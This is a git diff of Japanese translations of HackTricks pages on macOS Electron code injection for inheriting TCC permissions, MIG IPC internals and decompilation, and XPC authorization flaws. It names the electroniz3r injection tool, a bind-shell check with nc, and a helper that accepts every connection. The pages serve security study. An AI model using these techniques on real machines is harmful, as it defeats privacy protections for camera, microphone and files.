macOSのTCCデーモンは、アプリケーションの実行バージョンをチェックしません。したがって、前述のいずれのテクニックを使用しても**Electronアプリケーションにコードをインジェクトできない**場合は、以前のバージョンのAPPをダウンロードし、その上でコードをインジェクトすることができます(Trust Cacheが防止しない限り、TCC権限を取得します)。
|
||||
macOSのTCCデーモンは、アプリケーションの実行バージョンをチェックしません。したがって、前述のいずれのテクニックでもElectronアプリケーションにコードをインジェクトできない場合は、以前のバージョンのアプリをダウンロードしてコードをインジェクトすることができます。それでもTCC権限を取得します(Trust Cacheが防止しない限り)。
|
||||
{% endhint %}
|
||||
|
||||
## JSコード以外の実行
|
||||
## 非JSコードの実行
|
||||
|
||||
前述のテクニックを使用すると、**Electronアプリケーションのプロセス内でJSコードを実行**できます。ただし、**子プロセスは親アプリケーションと同じサンドボックスプロファイル**で実行され、**TCC権限を継承**します。\
|
||||
前述のテクニックにより、**Electronアプリケーションのプロセス内でJSコードを実行**できます。ただし、**子プロセスは親アプリケーションと同じサンドボックスプロファイル**で実行され、**TCC権限を継承**します。\
|
||||
したがって、たとえばカメラやマイクへのアクセス権を悪用したい場合は、**プロセスから別のバイナリを実行**するだけで済みます。
|
||||
|
||||
## 自動インジェクション
|
||||
|
||||
ツール[**electroniz3r**](https://github.com/r3ggi/electroniz3r)は、インストールされている**脆弱性のあるElectronアプリケーションを見つけ、それらにコードをインジェクト**するのに簡単に使用できます。このツールは**`--inspect`**テクニックを使用しようとします:
|
||||
ツール[**electroniz3r**](https://github.com/r3ggi/electroniz3r)は、インストールされている**脆弱なElectronアプリケーションを見つけ**、それらにコードをインジェクトするのに簡単に使用できます。このツールは**`--inspect`**テクニックを使用しようとします:
|
||||
|
||||
自分でコンパイルする必要があり、次のように使用できます:
|
||||
```bash
|
||||
|
@ -277,10 +276,10 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
|
|||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする**
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
* **HackTricks** および **HackTricks Cloud** のGitHubリポジトリにPRを提出して、**あなたのハッキングトリックを共有する**。 [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,8 +9,8 @@ HackTricks をサポートする他の方法:
|
|||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。**
|
||||
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする**
|
||||
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -37,13 +37,13 @@ n2 : uint32_t);
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
今、migを使用して、互いに通信し合い、Subtract関数を呼び出すことができるサーバーおよびクライアントコードを生成します:
|
||||
今、migを使用して、互いに通信し合い、Subtract関数を呼び出すためのサーバーおよびクライアントコードを生成します:
|
||||
```bash
|
||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||
```
|
||||
現在のディレクトリにいくつかの新しいファイルが作成されます。
|
||||
|
||||
**`myipcServer.c`** と **`myipcServer.h`** のファイルには、受信したメッセージIDに基づいて呼び出す関数を基本的に定義する **`SERVERPREFmyipc_subsystem`** 構造体の宣言と定義が含まれています(開始番号は500としました):
|
||||
**`myipcServer.c`** と **`myipcServer.h`** のファイルには、**`SERVERPREFmyipc_subsystem`** 構造体の宣言と定義が含まれており、受信したメッセージIDに基づいて呼び出す関数が基本的に定義されています(開始番号は500と指定されています):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipcServer.c" %}
|
||||
|
@ -64,7 +64,12 @@ myipc_server_routine,
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipcServer.h" %}
|
||||
{% tab title="myipcServer.h" %}次の手順で、MIG インターフェースを生成します。
|
||||
|
||||
1. MIG 定義ファイル (myipc.defs) を作成します。
|
||||
2. MIG コンパイラを使用して、myipc.defs ファイルから myipcServer.c ファイルを生成します。
|
||||
3. myipcServer.c ファイルをサーバーアプリケーションに組み込みます。
|
||||
4. サーバーアプリケーションをビルドして実行します。{% endtab %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
extern const struct SERVERPREFmyipc_subsystem {
|
||||
|
@ -80,7 +85,7 @@ routine[1];
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
前の構造に基づいて、関数**`myipc_server_routine`**は**メッセージID**を取得し、適切な呼び出すべき関数を返します:
|
||||
前の構造に基づいて、**`myipc_server_routine`** 関数は **メッセージ ID** を取得し、適切な呼び出すべき関数を返します:
|
||||
```c
|
||||
mig_external mig_routine_t myipc_server_routine
|
||||
(mach_msg_header_t *InHeadP)
|
||||
|
@ -95,16 +100,17 @@ return 0;
|
|||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
}
|
||||
```
|
||||
実際には、この関係を**`myipcServer.h`**の**`subsystem_to_name_map_myipc`**構造体で特定することができます。
|
||||
この例では、定義で関数を1つだけ定義しましたが、複数の関数を定義した場合、それらは**`SERVERPREFmyipc_subsystem`**の配列内にあり、最初の関数はID **500**に割り当てられ、2番目の関数はID **501**に割り当てられます...
|
||||
|
||||
実際には、この関係を**`myipcServer.h`**の**`subsystem_to_name_map_myipc`**構造体で特定することができます:
|
||||
```c
|
||||
#ifndef subsystem_to_name_map_myipc
|
||||
#define subsystem_to_name_map_myipc \
|
||||
{ "Subtract", 500 }
|
||||
#endif
|
||||
```
|
||||
サーバーを動作させるためのもう1つの重要な機能は**`myipc_server`**であり、これは実際に受信したIDに関連する関数を**呼び出す**ものです:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
```c
|
||||
mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
{
|
||||
/*
|
||||
|
@ -119,29 +125,22 @@ mig_routine_t routine;
|
|||
|
||||
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
|
||||
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
|
||||
/* 最小サイズ:異なる場合はroutine()が更新します */
|
||||
/* Minimal size: routine() will update it if different */
|
||||
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
|
||||
OutHeadP->msgh_local_port = MACH_PORT_NULL;
|
||||
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
|
||||
OutHeadP->msgh_reserved = 0;
|
||||
|
||||
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
||||
<strong> ((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
|
||||
</strong> ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
||||
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
||||
((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
|
||||
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
||||
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
|
||||
return FALSE;
|
||||
}
|
||||
<strong> (*routine) (InHeadP, OutHeadP);
|
||||
</strong> return TRUE;
|
||||
(*routine) (InHeadP, OutHeadP);
|
||||
return TRUE;
|
||||
}
|
||||
</code></pre>
|
||||
|
||||
以前に強調された行をチェックして、IDによって呼び出す関数にアクセスします。
|
||||
|
||||
以下は、クライアントがサーバーから関数を呼び出すことができる単純な**サーバー**と**クライアント**を作成するコードです:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server.c" %}
|
||||
```
|
||||
```c
|
||||
// gcc myipc_server.c myipcServer.c -o myipc_server
|
||||
|
||||
|
@ -174,47 +173,7 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_client.c" %}
|
||||
|
||||
### macOS IPC Inter-Process Communication
|
||||
|
||||
#### macOS MIG - Mach Interface Generator
|
||||
|
||||
MIG (Mach Interface Generator) is a tool used to define inter-process communication (IPC) interfaces for Mach-based systems like macOS. It generates client-side and server-side code for IPC communication.
|
||||
|
||||
To use MIG, you need to define an interface definition file (.defs) that specifies the messages and data structures exchanged between processes. This file is then processed by MIG to generate the necessary C code for IPC.
|
||||
|
||||
MIG simplifies the process of IPC by handling the low-level details of message passing, allowing developers to focus on the higher-level logic of their applications.
|
||||
|
||||
By understanding how to use MIG effectively, developers can implement secure and efficient inter-process communication in macOS applications.
|
||||
|
||||
```c
|
||||
#include <mach/mach.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "myipc.h"
|
||||
|
||||
int main() {
|
||||
mach_port_t server_port;
|
||||
kern_return_t kr;
|
||||
|
||||
kr = bootstrap_look_up(bootstrap_port, "com.example.myipcserver", &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to look up server port\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
myipc_hello(server_port);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
In the example above, `myipc_hello` is a function generated by MIG that sends a message to the server process identified by the `server_port`.
|
||||
|
||||
By leveraging MIG for IPC in macOS, developers can enhance the security and reliability of their inter-process communication mechanisms.
|
||||
|
||||
{% endtab %}
|
||||
{% tab title="myipc_client.c" %}
|
||||
```c
|
||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||
|
||||
|
@ -247,7 +206,7 @@ USERPREFSubtract(port, 40, 2);
|
|||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
前述のように、**受信したメッセージIDに応じて正しい関数を呼び出す関数**は`myipc_server`であることが以前に述べられました。ただし、通常はバイナリのシンボル(関数名なし)を持っていないため、**逆コンパイルしたものを確認するとどのように見えるか**が興味深いです(この関数のコードは公開された関数に独立しています):
|
||||
**`myipc_server`** 関数は、受信したメッセージ ID に応じて正しい関数を呼び出す機能を担当することが以前に言及されました。ただし、通常はバイナリのシンボル(関数名なし)を持っていないため、**デコンパイルしたものがどのように見えるかを確認する**ことが興味深いです(この関数のコードは公開された関数に独立しています):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server decompiled 1" %}
|
||||
|
@ -255,28 +214,28 @@ jtool2 -d __DATA.__const myipc_server | grep MIG
|
|||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// 適切な関数ポインタを見つけるための初期命令
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
*(int32_t *)(var_18 + 0xc) = 0x0;
|
||||
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
|
||||
*(int32_t *)(var_18 + 0x10) = 0x0;
|
||||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
rax = *(int32_t *)(var_10 + 0x14);
|
||||
// この関数を特定するのに役立つsign_extend_64への呼び出し
|
||||
// これにより、呼び出す必要のある呼び出しのポインタがraxに格納されます
|
||||
// アドレス0x100004040(関数アドレス配列の使用を確認)
|
||||
// 0x1f4 = 500(開始ID)
|
||||
// この関数を識別するのに役立つ sign_extend_64 の呼び出し
|
||||
// これにより、呼び出す必要のある呼び出しのポインタが rax に格納されます
|
||||
// アドレス 0x100004040(関数アドレス配列の使用)を確認します
|
||||
// 0x1f4 = 500(開始 ID)
|
||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||
</strong> var_20 = rax;
|
||||
// もし-そうでなければ、ifはfalseを返し、elseは正しい関数を呼び出してtrueを返します
|
||||
// もし - そうでなければ、if は false を返し、else は正しい関数を呼び出して true を返します
|
||||
<strong> if (rax == 0x0) {
|
||||
</strong> *(var_18 + 0x18) = **_NDR_record;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||
var_4 = 0x0;
|
||||
}
|
||||
else {
|
||||
// 2つの引数を持つ適切な関数を呼び出す計算されたアドレス
|
||||
// 2 つの引数を持つ適切な関数を呼び出す計算されたアドレス
|
||||
<strong> (var_20)(var_10, var_18);
|
||||
</strong> var_4 = 0x1;
|
||||
}
|
||||
|
@ -293,7 +252,7 @@ return rax;
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_server decompiled 2" %}
|
||||
これは異なるHopper無料バージョンで逆コンパイルされた同じ関数です:
|
||||
これは、異なる Hopper free バージョンでデコンパイルされた同じ関数です:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||
r31 = r31 - 0x40;
|
||||
|
@ -302,7 +261,7 @@ stack[-8] = r30;
|
|||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// 適切な関数ポインタを見つけるための初期命令
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
*(int32_t *)(var_18 + 0xc) = 0x0;
|
||||
|
@ -311,34 +270,34 @@ var_18 = arg1;
|
|||
r8 = *(int32_t *)(var_10 + 0x14);
|
||||
r8 = r8 - 0x1f4;
|
||||
if (r8 > 0x0) {
|
||||
if (CPU_FLAGS & G) {
|
||||
if (CPU_FLAGS & G) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
r8 = *(int32_t *)(var_10 + 0x14);
|
||||
r8 = r8 - 0x1f4;
|
||||
if (r8 < 0x0) {
|
||||
if (CPU_FLAGS & L) {
|
||||
if (r8 < 0x0) {
|
||||
if (CPU_FLAGS & L) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
r8 = *(int32_t *)(var_10 + 0x14);
|
||||
// 0x1f4 = 500(開始ID)
|
||||
// 0x1f4 = 500(開始 ID)
|
||||
<strong> r8 = r8 - 0x1f4;
|
||||
</strong> asm { smaddl x8, w8, w9, x10 };
|
||||
r8 = *(r8 + 0x8);
|
||||
var_20 = r8;
|
||||
r8 = r8 - 0x0;
|
||||
if (r8 != 0x0) {
|
||||
if (CPU_FLAGS & NE) {
|
||||
if (CPU_FLAGS & NE) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
// 前のバージョンと同じif else
|
||||
// アドレス0x100004040(関数アドレス配列の使用を確認)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
// 前のバージョンと同じ if else
|
||||
// アドレス 0x100004040(関数アドレス配列の使用)を確認します
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||
var_4 = 0x0;
|
||||
|
@ -368,12 +327,22 @@ return r0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
実際には、**`0x100004000`**関数に移動すると、**`routine_descriptor`**構造体の配列が見つかります。構造体の最初の要素は**関数が実装されているアドレス**であり、**構造体は0x28バイト**を取るため、0x28バイトごと(バイト0から開始)に8バイトを取得し、それが**呼び出される関数のアドレス**になります:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
実際には、**`0x100004000`** 関数に移動すると、**`routine_descriptor`** 構造体の配列が見つかります。構造体の最初の要素は、**関数が実装されているアドレス**であり、**構造体は 0x28 バイト**を取るため、0 バイトから始まる 0x28 バイトごとに 8 バイトを取得し、それが**呼び出される関数のアドレス**になります。
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
このデータは、[**このHopperスクリプト**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)を使用して抽出できます。
|
||||
* **[**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)**に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
このデータは、[**この Hopper スクリプト**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)を使用して抽出できます。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>でゼロからヒーローまでの AWS ハッキングを学びましょう!</summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- HackTricks で **会社を宣伝**したり、**HackTricks を PDF でダウンロード**したりするには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
- [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **[**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)**に参加するか、**Twitter**で**@carlospolopm**をフォローしてください🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出してください。**
|
||||
|
|
|
@ -1,28 +1,28 @@
|
|||
# macOS XPC 認証
|
||||
# macOS XPC 認可
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** または [telegramグループ](https://t.me/peass) に **参加** するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) を **フォロー** してください。
|
||||
* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出してください。
|
||||
- **HackTricks で企業を宣伝したい**場合や**HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
|
||||
- **ハッキングテクニックを共有する**ために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
## XPC 認証
|
||||
## XPC 認可
|
||||
|
||||
Apple は、接続プロセスが **公開されたXPCメソッドを呼び出す権限を持っているかどうかを認証する** 別の方法も提案しています。
|
||||
Appleは、接続プロセスが**公開されたXPCメソッドを呼び出す権限を持っているかどうか**を認証する別の方法も提案しています。
|
||||
|
||||
アプリケーションが **特権ユーザーとしてアクションを実行する必要がある** 場合、通常は特権ユーザーとしてアプリを実行する代わりに、アプリからこれらのアクションを実行するために呼び出されることができる XPC サービスとして HelperTool を root としてインストールします。ただし、サービスを呼び出すアプリには十分な認証が必要です。
|
||||
アプリケーションが**特権ユーザーとしてアクションを実行する必要がある**場合、通常は特権ユーザーとしてアプリを実行する代わりに、アプリからこれらのアクションを実行するために呼び出すことができるXPCサービスとしてHelperToolをrootとしてインストールします。ただし、サービスを呼び出すアプリには十分な認可が必要です。
|
||||
|
||||
### ShouldAcceptNewConnection は常に YES
|
||||
### ShouldAcceptNewConnectionは常にYES
|
||||
|
||||
[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) に例があります。`App/AppDelegate.m` で **HelperTool** に **接続** を試みます。そして `HelperTool/HelperTool.m` では、**`shouldAcceptNewConnection`** 関数は以前に指定された要件をチェックしません。常に YES を返します。
|
||||
[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample)に例があります。`App/AppDelegate.m`では、**HelperTool**に**接続**しようとします。そして、`HelperTool/HelperTool.m`では、**`shouldAcceptNewConnection`**関数は以前に示された要件をチェックしません。常にYESを返します。
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||
|
@ -74,7 +74,7 @@ if (self->_authRef) {
|
|||
[self.window makeKeyAndOrderFront:self];
|
||||
}
|
||||
```
|
||||
`Common/Common.m` からの `setupAuthorizationRights` 関数は、アプリケーションの権限を auth データベース `/var/db/auth.db` に保存します。データベースにまだ存在しない権限のみを追加する方法に注目してください。
|
||||
`Common/Common.m` からの `setupAuthorizationRights` 関数は、アプリケーションの権限を auth データベース `/var/db/auth.db` に保存します。データベースにまだ存在しない権限のみが追加されることに注意してください。
|
||||
```objectivec
|
||||
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||||
// See comment in header.
|
||||
|
@ -186,13 +186,13 @@ block(authRightName, authRightDefault, authRightDesc);
|
|||
```
|
||||
このプロセスの最後には、`commandInfo`内で宣言された権限が`/var/db/auth.db`に保存されます。**各メソッド**ごとに、**認証が必要な**権限名と**`kCommandKeyAuthRightDefault`**が見つかることに注意してください。後者は、**この権限を取得できるユーザー**を示します。
|
||||
|
||||
権限にアクセスできるユーザーを示すために異なるスコープがあります。それらのいくつかは[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)で定義されています([ここですべて見つけることができます](https://www.dssw.co.uk/reference/authorization-rights/))。要約すると:
|
||||
権限にアクセスできるユーザーを示すための異なるスコープがあります。それらのいくつかは[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)で定義されています([ここですべて見つけることができます](https://www.dssw.co.uk/reference/authorization-rights/))。要約すると:
|
||||
|
||||
<table><thead><tr><th width="284.3333333333333">名前</th><th width="165">値</th><th>説明</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>誰でも</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>誰も</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>現在のユーザーが管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>ユーザーに認証を求める</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>ユーザーに認証を求める。管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>ルールを指定する</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>権限に関する追加コメントを指定する</td></tr></tbody></table>
|
||||
<table><thead><tr><th width="284.3333333333333">名前</th><th width="165">値</th><th>説明</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>誰でも</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>誰も</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>現在のユーザーは管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>ユーザーに認証を要求します。</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>ユーザーに認証を要求します。管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>ルールを指定します</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>権限に関する追加コメントを指定します</td></tr></tbody></table>
|
||||
|
||||
### 権限の検証
|
||||
|
||||
`HelperTool/HelperTool.m`の関数**`readLicenseKeyAuthorization`**は、**そのようなメソッドを実行する**権限があるかどうかをチェックします。これは**`checkAuthorization`**関数を呼び出すことで行われます。この関数は、呼び出し元プロセスが送信した**authData**が**正しい形式**であるかどうかをチェックし、その後、特定のメソッドを呼び出す権限を取得するために**何が必要かを確認**します。すべてがうまくいくと、**返される`error`は`nil`になります**。
|
||||
`HelperTool/HelperTool.m`内の関数**`readLicenseKeyAuthorization`**は、**そのようなメソッドを実行する**権限があるかどうかをチェックします。これは**`checkAuthorization`**関数を呼び出すことで行います。この関数は、呼び出し元プロセスが送信した**authData**が**正しい形式**であるかどうかをチェックし、その後、特定のメソッドを呼び出すために必要なものをチェックします。すべてがうまくいけば、**返される`error`は`nil`になります**。
|
||||
```objectivec
|
||||
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||
{
|
||||
|
@ -240,19 +240,19 @@ assert(junk == errAuthorizationSuccess);
|
|||
return error;
|
||||
}
|
||||
```
|
||||
注意してください。そのメソッドを呼び出す権限を確認するには、`authorizationRightForCommand` 関数は単に以前にコメントされたオブジェクト `commandInfo` をチェックします。その後、関数を呼び出す権限があるかどうかをチェックするために `AuthorizationCopyRights` を呼び出します(フラグがユーザーとのやり取りを許可することに注意してください)。
|
||||
